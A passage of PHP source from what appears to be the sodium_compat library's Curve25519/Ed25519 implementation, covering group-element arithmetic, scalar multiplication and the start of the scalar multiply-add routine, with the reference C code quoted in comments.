        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (
                1 & (
                    self::chrToInt($a[(int) ($i >> 3)])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >=
-15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8)
*/

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check
failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
               
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function
ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function
ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2
$p)
    {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached
     */
    public static function
ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 =
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2);
        }
        /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     */
    public static function
ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3
$p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1 & 0xffffffff) >> 31);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|string $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 63);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     */
    public static function cmov(
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an
integer.');
        }
        return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            /** @var int $i */
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]),
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]),
                       
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2])
                    );
                }
            }
        }
        /** @var array<int, array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp>> $base */
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an
integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0,
31]');
        }

        /** @var int $bnegative */
        $bnegative = self::negative($b);
        /** @var int $babs */
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, $bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Precomp> $Bi */
        static $Bi = array();
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp(
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]),
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]),
                   
ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2])
                );
            }
        }
        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
            # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_madd($t, $u, $Bi[$index]);
            # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_msub($t, $u, $Bi[$index]);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) &
15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            /** @var int $carry */
            $carry = $e[$i] + 8;
            /** @var int $carry */
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }
        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        /** @var int $a0 */
        $a0 = 2097151 & self::load_3(self::substr($a, 0, 3));
        /** @var int $a1 */
        $a1 = 2097151 & (self::load_4(self::substr($a, 2, 4)) >>
5);
        /** @var int $a2 */
        $a2 = 2097151 & (self::load_3(self::substr($a, 5, 3)) >>
2);
        /** @var int $a3 */
        $a3 = 2097151 & (self::load_4(self::substr($a, 7, 4)) >>
7);
        /** @var int $a4 */
        $a4 = 2097151 & (self::load_4(self::substr($a, 10, 4)) >>
4);
        /** @var int $a5 */
        $a5 = 2097151 & (self::load_3(self::substr($a, 13, 3)) >>
1);
        /** @var int $a6 */
        $a6 = 2097151 & (self::load_4(self::substr($a, 15, 4)) >>
6);
        /** @var int $a7 */
        $a7 = 2097151 & (self::load_3(self::substr($a, 18, 3)) >>
3);
        /** @var int $a8 */
        $a8 = 2097151 & self::load_3(self::substr($a, 21, 3));
        /** @var int $a9 */
        $a9 = 2097151 & (self::load_4(self::substr($a, 23, 4)) >>
5);
        /** @var int $a10 */
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3))
>> 2);
        /** @var int $a11 */
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        /** @var int $b0 */
        $b0 = 2097151 & self::load_3(self::substr($b, 0, 3));
        /** @var int $b1 */
        $b1 = 2097151 & (self::load_4(self::substr($b, 2, 4)) >>
5);
        /** @var int $b2 */
        $b2 = 2097151 & (self::load_3(self::substr($b, 5, 3)) >>
2);
        /** @var int $b3 */
        $b3 = 2097151 & (self::load_4(self::substr($b, 7, 4)) >>
7);
        /** @var int $b4 */
        $b4 = 2097151 & (self::load_4(self::substr($b, 10, 4)) >>
4);
        /** @var int $b5 */
        $b5 = 2097151 & (self::load_3(self::substr($b, 13, 3)) >>
1);
        /** @var int $b6 */
        $b6 = 2097151 & (self::load_4(self::substr($b, 15, 4)) >>
6);
        /** @var int $b7 */
        $b7 = 2097151 & (self::load_3(self::substr($b, 18, 3)) >>
3);
        /** @var int $b8 */
        $b8 = 2097151 & self::load_3(self::substr($b, 21, 3));
        /** @var int $b9 */
        $b9 = 2097151 & (self::load_4(self::substr($b, 23, 4)) >>
5);
        /** @var int $b10 */
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3))
>> 2);
        /** @var int $b11 */
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        /** @var int $c0 */
        $c0 = 2097151 & self::load_3(self::substr($c, 0, 3));
        /** @var int $c1 */
        $c1 = 2097151 & (self::load_4(self::substr($c, 2, 4)) >>
5);
        /** @var int $c2 */
        $c2 = 2097151 & (self::load_3(self::substr($c, 5, 3)) >>
2);
        /** @var int $c3 */
        $c3 = 2097151 & (self::load_4(self::substr($c, 7, 4)) >>
7);
        /** @var int $c4 */
        $c4 = 2097151 & (self::load_4(self::substr($c, 10, 4)) >>
4);
        /** @var int $c5 */
        $c5 = 2097151 & (self::load_3(self::substr($c, 13, 3)) >>
1);
        /** @var int $c6 */
        $c6 = 2097151 & (self::load_4(self::substr($c, 15, 4)) >>
6);
        /** @var int $c7 */
        $c7 = 2097151 & (self::load_3(self::substr($c, 18, 3)) >>
3);
        /** @var int $c8 */
        $c8 = 2097151 & self::load_3(self::substr($c, 21, 3));
        /** @var int $c9 */
        $c9 = 2097151 & (self::load_4(self::substr($c, 23, 4)) >>
5);
        /** @var int $c10 */
        $c10 = 2097151 & (self::load_3(self::substr($c, 26, 3))
>> 2);
        /** @var int $c11 */
        $c11 = (self::load_4(self::substr($c, 28, 4)) >> 7);

        /* Can't really avoid the pyramid here: */
        $s0 = $c0 + self::mul($a0, $b0, 24);
        $s1 = $c1 + self::mul($a0, $b1, 24) + self::mul($a1, $b0, 24);
        $s2 = $c2 + self::mul($a0, $b2, 24) + self::mul($a1, $b1, 24) +
self::mul($a2, $b0, 24);
        $s3 = $c3 + self::mul($a0, $b3, 24) + self::mul($a1, $b2, 24) +
self::mul($a2, $b1, 24) + self::mul($a3, $b0, 24);
        $s4 = $c4 + self::mul($a0, $b4, 24) + self::mul($a1, $b3, 24) +
self::mul($a2, $b2, 24) + self::mul($a3, $b1, 24) +
               self::mul($a4, $b0, 24);
        $s5 = $c5 + self::mul($a0, $b5, 24) + self::mul($a1, $b4, 24) +
self::mul($a2, $b3, 24) + self::mul($a3, $b2, 24) +
               self::mul($a4, $b1, 24) + self::mul($a5, $b0, 24);
        $s6 = $c6 + self::mul($a0, $b6, 24) + self::mul($a1, $b5, 24) +
self::mul($a2, $b4, 24) + self::mul($a3, $b3, 24) +
               self::mul($a4, $b2, 24) + self::mul($a5, $b1, 24) +
self::mul($a6, $b0, 24);
        $s7 = $c7 + self::mul($a0, $b7, 24) + self::mul($a1, $b6, 24) +
self::mul($a2, $b5, 24) + self::mul($a3, $b4, 24) +
               self::mul($a4, $b3, 24) + self::mul($a5, $b2, 24) +
self::mul($a6, $b1, 24) + self::mul($a7, $b0, 24);
        $s8 = $c8 + self::mul($a0, $b8, 24) + self::mul($a1, $b7, 24) +
self::mul($a2, $b6, 24) + self::mul($a3, $b5, 24) +
               self::mul($a4, $b4, 24) + self::mul($a5, $b3, 24) +
self::mul($a6, $b2, 24) + self::mul($a7, $b1, 24) +
               self::mul($a8, $b0, 24);
        $s9 = $c9 + self::mul($a0, $b9, 24) + self::mul($a1, $b8, 24) +
self::mul($a2, $b7, 24) + self::mul($a3, $b6, 24) +
               self::mul($a4, $b5, 24) + self::mul($a5, $b4, 24) +
self::mul($a6, $b3, 24) + self::mul($a7, $b2, 24) +
               self::mul($a8, $b1, 24) + self::mul($a9, $b0, 24);
        $s10 = $c10 + self::mul($a0, $b10, 24) + self::mul($a1, $b9, 24) +
self::mul($a2, $b8, 24) + self::mul($a3, $b7, 24) +
               self::mul($a4, $b6, 24) + self::mul($a5, $b5, 24) +
self::mul($a6, $b4, 24) + self::mul($a7, $b3, 24) +
               self::mul($a8, $b2, 24) + self::mul($a9, $b1, 24) +
self::mul($a10, $b0, 24);
        $s11 = $c11 + self::mul($a0, $b11, 24) + self::mul($a1, $b10, 24) +
self::mul($a2, $b9, 24) + self::mul($a3, $b8, 24) +
               self::mul($a4, $b7, 24) + self::mul($a5, $b6, 24) +
self::mul($a6, $b5, 24) + self::mul($a7, $b4, 24) +
               self::mul($a8, $b3, 24) + self::mul($a9, $b2, 24) +
self::mul($a10, $b1, 24) + self::mul($a11, $b0, 24);
        $s12 = self::mul($a1, $b11, 24) + self::mul($a2, $b10, 24) +
self::mul($a3, $b9, 24) + self::mul($a4, $b8, 24) +
               self::mul($a5, $b7, 24) + self::mul($a6, $b6, 24) +
self::mul($a7, $b5, 24) + self::mul($a8, $b4, 24) +
               self::mul($a9, $b3, 24) + self::mul($a10, $b2, 24) +
self::mul($a11, $b1, 24);
        $s13 = self::mul($a2, $b11, 24) + self::mul($a3, $b10, 24) +
self::mul($a4, $b9, 24) + self::mul($a5, $b8, 24) +
               self::mul($a6, $b7, 24) + self::mul($a7, $b6, 24) +
self::mul($a8, $b5, 24) + self::mul($a9, $b4, 24) +
               self::mul($a10, $b3, 24) + self::mul($a11, $b2, 24);
        $s14 = self::mul($a3, $b11, 24) + self::mul($a4, $b10, 24) +
self::mul($a5, $b9, 24) + self::mul($a6, $b8, 24) +
               self::mul($a7, $b7, 24) + self::mul($a8, $b6, 24) +
self::mul($a9, $b5, 24) + self::mul($a10, $b4, 24) +
               self::mul($a11, $b3, 24);
        $s15 = self::mul($a4, $b11, 24) + self::mul($a5, $b10, 24) +
